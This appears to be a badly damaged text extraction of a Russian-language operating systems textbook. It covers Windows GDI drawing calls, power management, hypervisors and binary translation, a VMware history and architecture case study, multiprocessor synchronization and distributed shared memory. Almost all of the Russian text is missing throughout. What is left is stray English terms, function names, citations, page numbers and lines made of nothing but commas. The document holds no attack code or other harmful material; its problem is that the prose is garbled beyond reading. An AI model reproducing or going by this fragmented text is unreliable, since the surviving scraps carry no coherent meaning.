WNDCLASS 10 ,
.
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( 32-) ,
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,
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wndclass RegisterClass
Windows. , Windows , ,
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.
.
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. ? , ,
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WndProc, , .
CALLBACK, WINAPI, .

5.6. : , ,

459

. .
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Interface). ,
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1

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460

5.

, , , . .
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hdc = GetDC(hwnd);
TextOut(hdc, x, y, psText, iLength);
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hdc.

. (x, y) ,
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UNIX. , ReleaseDC
( hdc, ).
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,
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.
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Rectangle(hdc, xleft, ytop, xright, ybottom);

, (xleft, ytop) (xright, ybottom) .

,
Rectangle(hdc, 2, 1, 6, 4);

5.6. : , ,

461

, . 5.29. ,
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GDI- .
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(metafile).
Windows .wmf.
Windows- ( ) Windows.
. Windows
.wmf-. .
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(bitmap). Windows .
.
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. .

462

5.

BitBlt. :
BitBlt(dsthdc, dx, dy, wid, ht, srchdc, sx, sy, rasterop);

( ).
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.
BitBlt(hdc2, 1, 2, 5, 7, hdc1, 2, 2, SRCCOPY);

. 5.30. , 5 7 A, .

. 5.30. BitBlt:
;

BitBlt , .
. ,
, . , , .
, . , 8 12, 640 480 .
1200 , 10 200 13 200 ,
(8 ) 8/1200 , 0,17 .

- .
Windows , , (Device Independent Bitmap (DIB)). ,
, .bmp.
, , -

5.6. : , ,

463

.
.

, Windows 3.1,
BitBlt.
, , ,
, .
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4 120 ,
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, . TrueType .
(0, 0).
.
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464

5.

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.
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. ,
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5.6. : , ,

465

.
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x = 3 x = 8
y = 3 y = 8. ,
(3, 8) (8, 3),
(3, 3), (8, 3), (8, 8)
(3, 8). ,
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466

5.

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. ,
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. , ,
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5.8.

467

. , ,
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.
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.
(dumb terminals),
(thin clients), .
X- , X- , , ,
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,
. , . Chromebook. Google,
, .
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, , .
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(Web Apps), Chromebook . ,
Linux Chrome, .

5.8.
ENIAC 18 000 140 . .
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.
200 ( 85 %, 15 % ). 100
, 20 000
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468

5.

. ,
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. , Venkatachalam and Franz, 2005.
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5.8.

469

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1994) , .
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470

5.

. , , GPS.
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(1994), %

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68

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5.8.

471

. . 5.32 16 ,
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472

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5.8.

473

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474

5.

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5.8.

475

, .
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.
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476

5.

,
, , , , .

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Interface
).
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(plug and play),
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). . ,

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5.8.2.
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(Flinn and Satyanarayanan, 2004). , ,
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,
PowerScope, . ,
-

5.9. -

477

. ,
, , , . PowerScope

. ,
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. , ,
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, , . 30 .
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. ,
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.
. ,
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,
.
. 35 %.
,
.
,
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35 %.
JPEG- -.
JPEG ,
. 9 %.
, , ,
, .

5.9.
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, .
-. ,
Streamline -,
, ,
, TLB (DeBruijn
et al., 2011). Beltway Buffers, , ,
(DeBruijn and Bos, 2008). Streamline

478

5.

. -, Megapipe (Han et al., 2012), ,

.
, , .
POSIX,
- .
. .
. (Gonzalez-Ferez et al., 2012; Prabhakar et al., 2013; Zhang et al., 2012b),
(Krish et al., 2013;
Nijim et al., 2013; Zhang et al., 2012a).
(Jin et al., 2013; Ling et al., 2012).
.
, RAID (Chen et al., 2013; Moon and Reddy, 2013; Timcenko
and Djordjevic, 2013), (Dayan et al., 2013; Kim et
al., 2013; Luo et al., 2013).
(Li et al., 2013b; Shen and Qi, 2013).
-,
. , -,
. (Hewage and Voigt, 2013; Hoque et al., 2013), (Haitjema, 2013; Liu et al., 2103; Sun et al., 2013),
(Gupta, 2013; Hemkumar and Vinaykumar, 2012; Lai and Tang, 2013)
(Han et al., 2012; Soorty, 2012).
, , ,
, , , .

(Hruby 2013), (Holmbacka et
al., 2013), (Dutta et al., 2013),

(Weissel, 2012), (Kabriand
Seret, 2009) (Wei et al., 2010).
.
(Fetzer and Knauth,
2012; Schwartz et al., 2012; Wang et al., 2013b; Yuan et al., 2012).
(Albath et al., 2013; Mikhaylov and Tervonen, 2013; Rasaneh
and Banirostam, 2013; Severini et al., 2012).

5.10.

479

, .
1000 , .
(Tsafir et al., 2005).
- ,
.
(, ),

(Blackham et al., 2012).
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(Renzelmann et al., 2012).
(Rhyzik et al., 2009)

.
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5.10.
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DMA,
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480

5.

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X-.
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481

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482

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492

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. ,
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.
, (,
) , ,
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, , , .

( ),

7.1.

529

.
, . , , .

. ,
Windows 7, Windows 8, Linux, FreeBSD,
OpenBSD, NetBSD OS X, , .
. , , . -,

. -,
, .
,
.
,
(cloud). :
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. -
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,
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,
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, , ,
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, , , ,
.

7.1.
, , ,
. 60- . IBM , : SIMMON CP-40. CP-40 ,
CP-67 CP/CMS,
IBM System/360 Model 67.

530

7.

VM/370 System/370,
1972 . System/370 1990-
IBM System/390. , . ,
, , .
2000 IBM z-, 64-
System/360.
,
x86.
1974 (-), , (Gerald Popek)
(Robert Goldberg), (Formal Requirements
for Virtualizable Third Generation Architectures),
, , (Popek and Goldberg, 1974).
.
, x86,
1970- , . .
()
. 1970- , UNIX, Ethernet, Cray-1, Microsoft Apple, ,
, 1970- !
Disco 1990- ,
VMware, , 1
2 (Bugnion et al., 1997; Bugnion
et al., 2012). , 1 2
1970- (Goldberg, 1972). VMware
x86 1999 . : Xen, KVM, VirtualBox,
Hyper-V, Parallels . , , , 1974 , IBM
, .
1999 , , .

7.2. ,
, , . , , ,
, ,
. . , :
1. .

7.2. ,

531

2.
, .
3. .
,
(, Bochs) , .
, . ,
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,
. , , ,
,
. , . ,
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, .
, , , (VMM)
.
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.
,
, - ,
, .
, -,
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(sensitive instructions), , . ,
. (privileged instructions).
, , .
, ,
, .
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386- . , POPF
, ,
. .
386- , ,
.
, . , , ,
, , -

532

7.

, . ,
x86 2005
, ,
. , , ,
.
, 2005 Intel AMD (Uhlig, 2005). Intel (Virtualization
Technology (VT)), AMD
(Secure Virtual Machine (SVM)).
VT. IBM
VM/370, .
, .
,

, , -. ,
, , .
,
.
, ,
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, 2005
. ,
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CR3, ). ,

. , - ,
. ,
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. , ,
, . , , , .

7.3.

533

. ,
, , , . , VMM
. VMM ,
.
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,
. ,
(hypercall), ( ,
).
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, .
, , , . IBM VM , , , 1972 . Denali (Whitaker et al., 2002) Xen (Barham et al., 2003).
,
, API .
, , .
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,
/ .
.
,
.
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POSIX- , Linux, BSD OS X,
QEMU ,
.

7.3.
Goldberg (1972) . , (type 1 hypervisor),
. 7.1, . ,
, .
,
,
.

534

7.

, . 7.1, , . , , , Windows Linux

. ,
.

. , , ,
, ,
.
, ,
(guest operating system).
, , (host operating system) -.
x86 VMware Workstation (Bugnion et al., 2012).
, ,
VMware 7.12.


Excel W ord Mplayer Emacs

Windows

Linux

(, Windows)

(, Linux)

( , ,
, . .)

( , ,
, . .)

. 7.1. :

,
, - (hosted hypervisors),
, Windows, Linux OS X.
DVD, USB- -,
. . ,
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, DVD-.
( Windows, Linux OS X) ,
DVD.
.
, ,
, . 7.1.
.

7.4.

535

7.1. . ,

ESX Server 1.0

VMware Workstation 1

Xen 1.0

vSphere, Xen, Hyper-V

VMware Fusion, KVM, Parallels

Wine

7.4.
, . ,
,
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,
( ). , ,
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kernel mode). ,
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).

. 7.2. , ,

, ( , ) , ,
?

536

7.

VT- , . VT-

(. . 7.2). , ,

. ,
,
, .

7.4.1. ,

VT-
, ? , VMware

x86. , ,
, (binary
translation) , x86,
(protection rings) .
x86 , , . 3
. . .
0 , . 0.
. , .
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,
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7.4.

537

2

( ,
+ )

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.
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.
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2001 ) -

538

7.

, VMware Workstation ( , ).

, . ,
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,
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. ,

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7.4.

539

, ,
:
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7.4.2.
, VT
, ,
(Adams and Agesen, 2006). , , ,
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,
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540

7.

, (
), - . 7.6 ,

. ,
.

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(Hand et al., 2005).
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2007). ( ) () , ,
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7.5. ?

541

Linux). , API
. .
. 7.4.
, VT-.

Windows.
,
.
Linux, ,
. , -
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Linux.

Windows

Linux

. 7.4.

. 7.4 , .
. ,
Windows. .
: . ,
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,
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, , ,
,
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. , ,

542

7.

? . -, , ,
VMware, Xen ,
, Hyper-V Microsoft, -
API- ?
?
Amsden et al. (2006). ,
- ,
. ,
(Virtual Machine Interface (VMI)),
, .
-
- .
Linux,
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. , VMware Xen,
, ( ) , .
, .

VMI Linux

VMI Linux

VMI Linux

VMIL/HWinterface

VMIL
Vmware

VMIL
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VMware

Xen

. 7.5. VMI Linux, : ;

VMware; Xen

. paravirt ops.
, , . ,
Linux, , IBM, VMware, Xen Red Hat,

Linux. , , 2.6.23,
,
.

7.6.

543

7.6.
, . . -. .
, .

, .
.
,
.
. , .
, ,
7, 4
3 10, 11 12 . ,
,
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. , (shadow page table),
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, 200 ( 10),
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544

7.

.
, , , , ,
.
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,
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. ,
(guest-induced page faults),
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. ,
(hypervisor-induced page faults),
.
, ,

7.6.

545

(VM exit), , . ,
VM-. VM-, ,
. , .
,
. . ,
. - ,
.
. , ,
.
.
, -
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, , . ,
,
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7.6.1.

.
(nested page tables) AMD.
Intel (Extended Page Tables (EPT)).

,
- . ,
x86 Intel . VT-
, ,
, -. AMD Intel
, .
, .
,
. . ,
Linux-
Xen VMware ESX- . (guest virtual addresses)
(guest physical addresses) , , (host physical
addresses), (machine
physical addresses). , EPT
. EPT -
,
. , -

546

7.

, ,
. ,
( ) , ,
. . 7.6.
,
, . ,
.

. ,
. EPT
VM-. ,
. ,
,
.
63

48 47

39 38

1-


1-

30 29

2-

21 20

3-

12 11

4-

1-

+

2-

. .

. 7.6. () ,
,

7.6.2.
,
, , , . (overcommitment) ,
,
, . , ,
. , 32 ,

7.7. -

547

, 16 . ,
. , ,
. , , , (,
Linux) ,
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, ,
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2 .
,
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.

7.7. -
-.

-.

548

7.

. ?
, . ., .
.
-,
. ,
.
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, , -.
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, ( RAID-)
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.
VM/370: ,
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, -, ,
.
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, Ethernet-.
. , . ,
, , .

7.7.1. -
, , , DMA,
. , ,
DMA.
- (I/O MMU), , MMU . I/O MMU
.

7.7. -

549

x86, Intel AMD

. .
DMA.
MMU-, I/O MMU
, ( ),
.
, , DMA, ,
, .
I/O MMU-
. (device pass through)
. , ,
. ,
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, ,
.
(device isolation) , , , , .
, I/O MMU DMA- ,
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.
, , DMA - .
, ,
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, , ,
, (, 66),
.
, I/O MMU 32- , 4 . (,
DMA) 4 , I/O MMU
.

7.7.2.
-
- .
, , , ,
(, 1 1403), , ,

550

7.

, . Xen
-
- , (domain 0).
- ,
:

-, .
-, ,
, . ,
, .
, ,
, ,
, ( MINIX3), , , .

7.7.3. -

.

. ,
128
.

, ,
( ) ,
. , .
, -
.
, ,
, , . PCIe
- .
- (Single root
I/O virtualization (SR-IOV))
. , SR-IOV,
, DMA-
(Intel, 2011).
,
. ,
. (, ,
) .
SR-IOV : (Physical Functions (PF)) (Virtual Functions (VF)). -

7.9.

551

PCIe-
, .
.
PCIe-,
. . SR-IOV ( )
, ,
. ,
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, . , Intel
I350 .

7.8.
,
, ,
: . ,
, , , , . .
, ,
.
, ,
, ,
, ,
. -
-, .
,
. , , , ,
, .
(virtual appliances). ,
Amazon EC2, ,
(Software as a Service ).

7.9.


,
. , ,
, , ,
( ) , , -

552

7.

32 .
.
,
, . , , .
, .

, .
. , , , ,
.
, . Disco
(transparent page sharing), ,
VMware (contentbased page sharing), . ,
. - ,
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, ,
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,
32 , , 32 .
, , .

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, , .
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7.11.

553

,
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, ,
, ,
.

,
. ,
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7.11.

. . , ,
. .
,
. ,
, , ,
,
. ,
, . .
, , ,
. (), , ,
:
1. (On-demand self-service). , .
2. (Broad network access).
, .
3. (Resource pooling). , ,
.
, .
4. (Rapid elasticity).
, ,
, .

554

7.

5. (Measured service). ,
.

7.11.1.
,
. ,
,
. ,
, ,
.
(Infrastructure As A Service (IAAS))
(Platform As A Service (PAAS)), , , , , - . .,
(Software As A Service (SAAS)),
, Microsoft
Office 365 Google Apps, .
IAAS- Amazon EC2, Xen .
.
. , ( , )
.
,
IT-, , , ,
, , , , .
, ,
, . , IT , 10 .
.
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)? X,

( (vendor lock-in)?

7.11.2.
IAAS-
, .
, , ,
. : ,

7.11.

555

( ), ? , ,
,
.
.
, , , . ,
.
. ,
, ,
.
,
. ,
, ,
,
.
, , .
(
NFS), , , 1 3.
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. , , ,
.
(live migration). ,
. ,
, (pre-copy
memory migration). , ,
.
, , . ,
,
, .
,
. .
,
. ,
.
, ,
. , ,
(seamless live migration).

7.11.3.

. , , .
. (, , )

556

7.

, - .
,
- .
- ,
.
, .
, , .
(copy on write),
.
- , . ,
? , ,
, . ,
.

7.12. : VMWARE
1999 VMware, Inc.
, , , ,
. ,
, .

. VMware Workstation,
, .
VMware Workstation. ESX Server,
VMware.

7.12.1. VMware
19601970-
, ,
1980- , .
IBM . ,
, , x86 Intel,
(, , ). ,
386, 286,
10
.
1997 VMware Disco (Bugnion et al., 1997) ( , UNIX) ,
, FLASH-.
,

7.12. : VMWARE

557

:
,
. Disco,
,
,

. Disco
MIPS-, ,
,
x86, .
1998 VMware, Inc.,
x86 . VMware (VMware Workstation)
, 32- x86. 1999 : VMware
Workstation for Linux, ,
Linux, VMware Workstation for Windows,
Windows NT. :
(,

)
, () -.
VMware Workstation
IT-.
, ,
, .
.
VMware , , ESX Server 2001 . ESX Server
, VMware Workstation,
. , ESX Server
, . ESX
( , -)
. , (ballooning)
(Waldspurger, 2002).
ESX Server . IT- , , , , -.
: 10 %
( ). ESX Server IT-

558

7.

,
, , .
2002 VMware
ESX Server, Virtual Center,
vSphere. : IT-
Virtual Center ,
, .
Virtual Center , VMotion (Nelson et
al., 2005),
. IT-

, .

7.12.2. VMware Workstation

VMware Workstation 32- x86.
: 2009
(ACM) ACM
Software System Award VMware Workstation 1.0 Linux.
VMware Workstation (Bugnion et al., 2012).
.
,
, x86
Microsoft Windows (
WinTel). WinTel, , ,
. ,
, Linux.

, x86 , . , , ,
, ,
.
x86 ( )
:
Intel AMD ;
Microsoft Windows,
Linux;
- , ;
, HP Dell,
.

7.12. : VMWARE

559

x86
.
, VMware Workstation ,
.
VMware Workstation x86 , . VMware Workstation , ,
.
,
VMware Workstation.

7.12.3.
x86
:
(adding a level
of indirection) .
: , .
, ,
. VMware
x86 :
. , x86
.
, (
), , - .
. ,
. VMware
,
,
, .
, x86

.
.
,
. .
, ,
,
. , -

560

7.

, . ,
( ,
).
. ,

, VMware
. ,
. ,
:
1. x86 .
, . ,
POPF ( ) , .
,
. Intel ,
.
2. x86 . x86
CISC-,
.
(, , v8086
), - , ,
(, ).
3. x86 . x86
,


.
. :
( ,
), ( ,
) .
4. , . ,
. VMware ,
. , VMware
,
.

7.12.4. VMware Workstation:

VMware
Workstation , .

7.12. : VMWARE

561

VMware Workstation ,
. VMM, . VMX,
.
, VMM x86- . ,
. , ,
. ,
VMware Workstation , VMM VMX.

x86-
VMM , . VMM,
, , ,
, , .

. (Barham et al., 2003; Whitaker et al., 2002)
. ,
, . VMware
-
, , Windows.
.

VMM.
. SimOS (Rosenblum et
al., 1997) , ,
, , ,
.


.
. -,
x86
,
. ,
,
. , ,
, , . , POPF ,
(, ), ,

562

7.

(
).
. 7.7 VMware
VMM. , , , ,
.
,
-.
VMM

( MMU, - . .)

. 7.7. VMware
( )

, , ,
, . , , ,
() .
, , ( ) (
). ,
,
. ,
:
( 0 x86);
- ( x86, -
);
,
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. Bugnion et al. (2012). ,
, , , ,
.

7.12. : VMWARE

563

,
, x86 ,
.
, .
, .
, ,
x86, ,
, , , , ,
. ,
, , .
.
.
,
. ,
VMware VMM ( )
:
VMM , ,
( );
VMM
( 16- 32- x86).
, .
,
, ,
( ), VMM.
,
, .
VMware VMM , .
. 4
VMM . ( 4
4 , 32- ). VMM
, , , ( , )
4- .

,
VMM ,
,
. , ,
,
, ,

564

7.

, . ,
. x86 .
VMware , . VMware Workstation
Linux,
Windows 3.1, Windows 95/98 Windows NT. .

, MINIX 3, .
VMM -
,
. ,
,
.
, x86 ( 0 3),
1 2 ( OS/2
IBM). , ,
1 2, VMware VMM 1 2,
.
, , , VMware VMM
, 1 2 ,
.
0 VMware VMM
1.

, x86. x86 .
, - , ,
-, . .
- x86 , .

, -
. VMware
,
,
-.

() .

7.12. : VMWARE

565

. ,
( )
. .
. 7.2 , VMware Workstation
, .
7.2. ,
VMware Workstation, ca. 2000

( )

- x86 CPU - ,
-
,

512

()

PCI Bus

PCI bus

4x IDE-
7x Buslogic SCSI-

( )

1x IDE- -

ISO- -

2x 1,44-

1x VMware VGA SVGA

. SVGA
VMware SVGA
2x
COM1 COM2

1x (LPT)

LPT- -

1x (104 )

;

VMware

1x PS-2

3x Ethernet- AMD Lance

1x Soundblaster (
)

566

7.

,
,
0.
, ,
, (Waldspurger
and Rosenblum, 2012).
, , .
-,
.
, Ethernet- AMD
PCnet Lance, -
10 /,
-. , VMware PCnet ,
Lance, - 10 / (Sugerman et al., 2001).
IDE- Buslogic Controller,
, ISO 9660, ,
-.
: VMware ,
, . ,
,
. , - (hardware-independent encapsulation),
.
, -, (Nelson et al., 2005).
,
.

VMware Workstation
.
.
.
-, , . VMware ,
. , VMware Workstation
, -

7.12. : VMWARE

567

,
-, .
, VMware Workstation
.
-, , .
, VMware Workstation
, ( , BIOS). VMware
Workstation ,
, ,
Linux.
, ,
, API-,
. , x86
, VMM
,
( ), .
,
. () ,
API-
.
( , , ),
.

, ( )
.
VMware
Hosted Architecture.
(. 7.8).

:
, (VMX), VMware. VMX
, ,
( )
. VMX-
.

568

write()

fs
VMM-

scsi

CPU

(v)

(ii)

VMM

(iv)

(iii)

(i)

VMX

7.

IDTR

VMM

. 7.8. VMware Hosted Architecture : VMX, VMM- VMM

, (VMX-),
.
VMM
. VMX-.
VMM, , , , ,
. VMM ,
. , , ,
- ,
.
VMM, .
VMware Workstation , , , VMX . VMM ,

. . 7.8 : ( VMM)
, . VMM
( ) ,
-

. , VMM
IDTR . ,

7.12. : VMWARE

569

( ), VMM
.

(world switch). ,
, . . 7.9 .
,
. , ,
, , . :
, ,
. . , . VMM ,
VMM, .
, 45 x86.

VMware

(
)

(
)

Kernel Address space

VMX (
)

VMM

( )

VMM

. 7.9.

:
? : VMM.
, , .
(, Linux)
. , , .
:
VMM, ? ,
VMM, .

570

7.

4- ,
.
. 7.8: ,
, VMM ( I). , VMM
, . (II) VMM
, :
VMware-, III
, . , IV , , ,
VMware- (
VMM!). , V VMware-
VMX.
VMware
VMX. VMX
,
VMM.
, , VMM
. , VMM
.

7.12.5. VMware Workstation

, VMware Virtual Machine
Monitor, .
, ,
, VMware
Workstation, VMware Player VMware Fusion (, Apple OS X), VMware,
(Barr et al., 2010).

VMM VMware,
. ,
, 64-

VMM.

x86.
, Intel VT-x AMD-v, . , 2005 ,
, (Uhlig
et al., 2005). , 2007 , MMU . . ,
, ,
VMware , (
).

7.12. : VMWARE

571

, ,
VMware , . VMware Workstation
.
.
VMware
.

7.12.6. ESX-:
VMware
2001 VMware , ESX
Server . VMware
: ,
, , .

ESX

. 7.10 ESX Server.

, VMM, , . VMM , VMware
Workstation, , x86. , VMM-, ,
. ESX- .
, , VMM
. ESX Server
, ,
-,
.
VM

VM

VM

VM

VMM

VMM

VMM

VMM

ESX-
x86

. 7.10. ESX Server: VMware

VMware
.
VMware :
ESX Server
, .
, ESX Server ( VMware Workstation)
.

572

7.

, -,
.
. ESX Server , ,
, :

( ). ,
.
, , ,
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Server (ballooning) (Waldspurger, 2002).
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VMware Workstation ESX Server
,
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ESX-, .
, . , VMware Workstation
( ) . ESX Server VMFS (Vaghani,
2010) ,

-. .
, VMware 2011 , ESX
Server 1 (VMware, 2011).
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, ESX Server VMotion ,
, , , ESX Server,
ESX Server.
,
.
ESX Server . ESX Server ESXi,
, . ESXi
VMware vSphere.

573

7.13.

. ,
. - . ,
(Virtual Execution Environments (VEE))
. , , . . (ACM Symposium on Cloud
Computing (SOCC)), ,
, . , SOCC, ,
-, . .
. , Penneman et al. (2013) ARM- ,
. (Beham et
al., 2013; Mao, 2013; Pearce et al., 2013), (Botero and Hesselbach, 2013; Yuan et al., 2013).
-, ,
, (Theodorou et
al., 2013).
(Wang et al., 2013a).
,
, (Ben-Yehuda et al., 2010; Zhang et
al., 2011). ,
,
, , . .
Turtles (),
, , ,
, , , . .
, , ,
, TLB-.
Dune (Belay, 2012) , .
Dune, ,
. , .
VMCALL.

1. - .
2. , .

574

7.

3. ,
,
.
4. ,
.
5. , , ?
1974 , IBM
1970- .
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.
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.
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. n ? ,
?
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12. ? ,
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.
13. - ?
14. ? , ? .
15. , x86 .
16. , , VT-,
, -.
17. , , , .
18. VMware ,
,
. ? ,
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19. ?
20. , .
.

575

21. ,
. ? ? .
22. ,
.
23. , , () ,
. ?

.
24. ?
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25. , .
26. ,
.
27. - DMA. -
- (I/O MMU)?
28.
. .
29. IAAS, PAAS SAAS.
30. ?
?
31. ,
.
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33. ( ,
?)?
34. , VMware ?
35. VMware Workstation
?
36. VMware ESXi . ? - . -
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37. .

 8.

.
ENIAC 300 ,
, . ENIAC,
. ,
,
, .
, .
. ,
.
,
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, 2 . 100 2 .
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1 . 1 1 , ,
.

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, .
1 (Furber et
al., 2013).
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577

,
.

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, . (. 8.1, )
-

578

8.

, .
.

. 8.1. : ; ;

(. 8.1, ),
.
. ,
.
.

1050 , ,
. 8.1, . . ( )
, ( ), . .
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(distributed system). ,
. , . 8.1, , ,
,
10100 . (loosely coupled)
-, (tightly coupled) (. . 8.1, ).
.
.
,
, . 8.1. , ,
. , ,
. ,
, .

8.1.

579

8.1.
(shared-memory multiprocessor),
, , . ,
,
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, ,
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:
- ,
.

. , ,
-.
, .
, .
,
, .

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,
,
: ,
. UMA-
(Uniform Memory Access ).
NUMA- (Nonuniform Memory Access
) . ,
. UMA-, NUMA.

UMA-
(. 8.2, ) .

.
, . ,
,
, .
, , , , .
.
, 32 64 .
,
.

580

8.

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-

. 8.2, -.
, ,
.
-, ,
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8.1.

581

, , 32 64 .

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, .
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.
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, ,
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: (001, 000), (101, 101) (110, 010).
.
,
.

582

8.

. 8.3. : ;
;

:
(nonblocking network), ,
- ( ,
). . , .
, .
, , ,

. - , . 8.2,
n n .
, n2. 1 .
. ,
, .

UMA,

. 8.4, , 2 2. .

8.1.

583

, ,
.
(. 8.4, ). Module () , . Address () .
Opcode ( ) , READ WRITE.
, Value () ,
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X Y.

. 8.4. 2 2: , A B, , X Y, ;

2 2 (multistage switching networks), Adams et

al. (1987), Garofalakis and Stergiou (2013), Kumar and Reddy (1987).
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. , n
n log2 n n/2
, (n/2) log2 n , , n2
, n.

. 8.5.

(perfect shuffle),
, ,

584

8.

. , , 011 110.
READ 1D, Module 110. ( ) 110
. 0,
, 1, .
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, , , 110. , ,
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. ,
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.
001 001. : ,
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.
, , .
, , 000
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. ,
(blocking network). .
, .
.
. , , - , 32-
. 00,
.
. , ,
(interleaved).
, .

,
.

8.1.

585

NUMA
UMA , , ,

, .
, - .
. NUMA.
UMA, , , , .
, UMA, NUMA-,
, UMA-.
NUMA- ,
:
1.
.
2. LOAD STORE.
3. , .
( ), NC-NUMA (No Cache-coherent NUMA NUMA
). - CC-NUMA (Cache-Coherent NUMA NUMA ).
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multiprocessor). , ,
- . - , ,
. , ,
, .
, , () , 256 ,
16
, .
232 , 226 - 64 .
, 016 M 0,
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218 64- -, 224 . ,
.
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20, -. ,
, (MMU),

586

8.

. 8.6. , 256 ;
32- ; 36

, 0x24000108.
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36, , 4 , , .
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, 20 4,
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.
, .
16 218 9

8.1.

587

. , 9 218 16 ,
1,76 %, ( ,
, , , ).
- 32 , 4 %. 128 1 %.
, . ,
- , , , . , . 1 ,
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. .

,
.
Intel (Gordon
Moore), . 1974 Intel 8080
2 , Xeon NehalemEX 2 .
: ? 1, , -, .
, , - 432 . ,
-
99 99,5 %,
.
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-. , Intel Xeon 2651
12 , 24 . 12 32- L1,
32- L1 .
256- L2. , 12
30- L3.
, , - (. . 1.8), ,
,
.

588

8.

, , ,
.
(snooping).
.
(Chip-level MultiProcessors (CMP)).
CMP , .
.
,
. 8.2, , AMD, . 1.8, . -, Intel
. 1.8, , . (L2 L3) . -, ,
-,
. - , .
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, .
,
, (system on a chip).
, , - , ,
. ., .

,
,
(Manycore chips), ,
, . , , ,

, .
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Phi, 60 x86-.
. , 1000
. , ,
, .
, ,
, , ,
.

8.1.

589

, .
, . ,
,
, . ,
.
(coherency wall).
, , .
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, . ,
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16
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,
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.
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, GPGPU. ,

,
OpenGL CUDA, NVIDIA.

590

8.

, , , ,
,
. , (,
).

.
. ,
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8.1.

591

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8.1.2.

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,
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. 8.7. ,

592

8.

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-,
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.
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8.1.

593

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.
(, ), .
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, 10 ,
20 . ,
,
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,
. , ,
. SMP . 8.9.

594

8.

. 8.9. SMP

, . ,
, , . ,
, . ,
.
( ),
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, . , . ,
,
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. , 10 % . 20 ,
.
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, , .
.

8.1.

595

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A, B,
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Lock ) .

596

8.

, .
1 ( ) .
,
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, .
, . . 8.10
,
1000, 0. 1
1 0. 2, 1 1,
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1 1. 4
2 1 .
TSL 0,
.

. 8.10. , TSL .
,

TSL ,
, , . ,

, . ,
.
,
. , , ,
TSL .
(Peterson, 1981).
TSL .
- (spin lock),
,

8.1.

597

. ( ), , ,
,
.
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.
,
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TSL, .

. - ,

598

8.

, . ,
, ,
.
(binary
exponential backoff), Ethernet (Anderson, 1990). , . 2.17, .
. ,
, .
,
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.
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TSL, .
,
, ,
(. 8.11) (Mellor-Crummey and Scott, 1991). , .
, ,
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.
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) .
.

. 8.11. ,

8.1.

599

, ?
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,
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, .
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600

8.

. ,
. .
(Ousterhout, 1982).
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.
.
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, 200 , , ,
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2 ,
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. ,
.

8.1.4.
, , .
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8.1.

601

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.

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602

8.

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(. 8.12, ). 12, B (. 8.12, ). ,
.

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, , ,
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8.1.

603

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,
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-, .
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k, - , A. A
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k, A .

, , . , TLB , TLB.
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604

8.

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, .

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8.1.

605

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A0 A1 .
, A0 A1 , A1 A0 ,
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, 200 .
200 ,
.

606

8.

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A

, (Ousterhout, 1982).
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1. .
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8.2.

607

A E, , 24.
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608

8.

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, . (headless workstation), .
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8.2.

609

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; ;

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10, .
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1 2

610

8.

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( A, C, D , , ), ,
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8.2.

611

, , .
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. .
,
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.

. 8.18.

DMA-
(, ,
). DMA-


. , ,
.
, ,
DMA-. (network processors) (El Ferkouss
et al., 2011). ,
: ,

612

8.

( ),
( ), -, .

, .
, .
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TCP IP.
.
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.
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. ,

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8.2.

613

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, ).
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(affinity) . , ,
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TCP
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,
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.

.
DMA,
.
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614

8.

,
-. ,

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.

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. RDMA ,

.
RDMA , .
DMA,

8.2.

615

, . ,
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RDMA- .
, . ,
.
.
.


. 1 1 1 , , .
.

8.2.3.

, , .
. ,
, .
, .
.

Send Receive
, ,
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:
send(dest, &mptr);

:
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, mptr,
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, .
, , mptr,
. addr , .
.

616

8.

, .
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(
). send, . ,
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, , . , -

8.2.

617

,
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618

8.

send ( ).
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(Andrews, 1991).
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receive , send, .
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.
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, . ,
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.
(Von Eicken et al., 1992). ,
.

8.2.

619

8.2.4.

,
: , , - . send receive, , -, - .
,
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.
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.
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, .
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. ,
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.
, . 2 ,

. (marshaling).
3 ,
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620

8.

. . , -
send receive
.

. 8.20. ;

RPC, . . . ,
,
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, .
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k. k .
k .
, k , k , ,
.
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8.2.

621

. : .
, .
printf,
( ), , , ,
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- C .
, , RPC ,
C ( C++), .
.

. , , ,
.
RPC.
, .

8.2.5.
RPC ,
- . ,
,
, ,
(Distributed Shared Memory (DSM)) (Li, 1986; Li and Hudak,
1989). , (Cai and Strazdins, 2012; Choi and Jung, 2013; Ohnishi and Yoshida, 2011). DSM
,
, .
, . DSM
, . 8.1, .
.
LOAD STORE ,
, .
,
, . , , , .

, .
, .
DSM
. 8.21. . 8.21, , . . 8.21,

622

8.

. 8.21. :
; ;

8.2.

623

DSM, . . 8.21,
,
. ,
DSM.
DSM. DSM , .
,
DSM ,
, , ,
. . 8.22,
, 16 ,
.

. 8.22. , ;
0 10
; , 10

624

8.

, 0
0, 2, 5 9, .
. , 10
DSM, 10 1 0 (. 8.22, ).

,
, ,
, , , , ,
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10 (. . 8.22) ,
0 , 0
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,
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.

DSM .
, ,
( ). : ? 32 64 ,
. DSM
( MMU ), 1, 2, 4
. ,
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4096
, 1024 .
, ,
. ,
,
, ,
, .

8.2.

625

,
, .
,
, (false
sharing) (. 8.23). ,
A B. 1
A, . 2 B. , ,
.

. 8.23. ,

, , , , ,
, . ,
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.
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.

,
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,
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, ,
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626

8.

.
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,
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, , , ,
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.
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. , ,
.

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(Keleher et al., 1994).

8.2.6.
. , . , .
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. .
- ,
. , ,

8.2.

627

,
, . , , , ,
.
, .
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8.2.7.
,
- ,
,
. -
, ,
, . ,
. , .

(processor allocation algorithms).
( ).
. , , ,
.
,
. ,
.

, , , .
k,
. , .
,
,
. (
) k ,
(, -

628

8.

).
, , , ,
. , ,
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.
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(, ).

. 8.24.

. 8.24, , A, E G 1,
B, F H 2, C, D I 3. , ( ), 30. . 8.24, ,
28. ,
,
, .
, ( ), (
).
, , (Chow and Abraham, 1982; Lo, 1984; Stone
and Bokhari, 1978).

,

. ,
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, - . ,
(
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8.2.

629

1986). , . . N
,
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. 8.25. ,
; ,

(Eager et al.,
1986). ,
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.

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. 8.25, , , , ,
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, , . N
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.

630

8.

,
. , ,
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, , .
, , , ,
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8.4.
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, ,
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8.4.

631

8.1.

,
,

, , ,

. ,
, .
.
, . ,
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,
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-
( telnet, ssh rlogin), ( FTP), (
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- , , , , . -
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. , - , -

632

8.

, - -
, : , .
, , (), .

, .
, , -, .

UNIX, - . , , ,
.

. ,
(middleware), . 8.26.
, ,
, .

. 8.26.

, ,
. ,
.
, ,
Distributed Systems (Tanenbaum and van Steen, 2007).
,

8.4.

633

( ), ( ). ,
.

8.3.1.
,
. :
(Local Area Networks (LAN)), , (Wide Area Networks (WAN)),
, .
Ethernet, .
, , .
.

Ethernet
Ethernet, IEEE Standard 802.3, , .
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. ( XIX
,
, ,
, .
1887 ,
, , .)
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, . ,
. 8.27, , (vampire tap).
, .
,
.

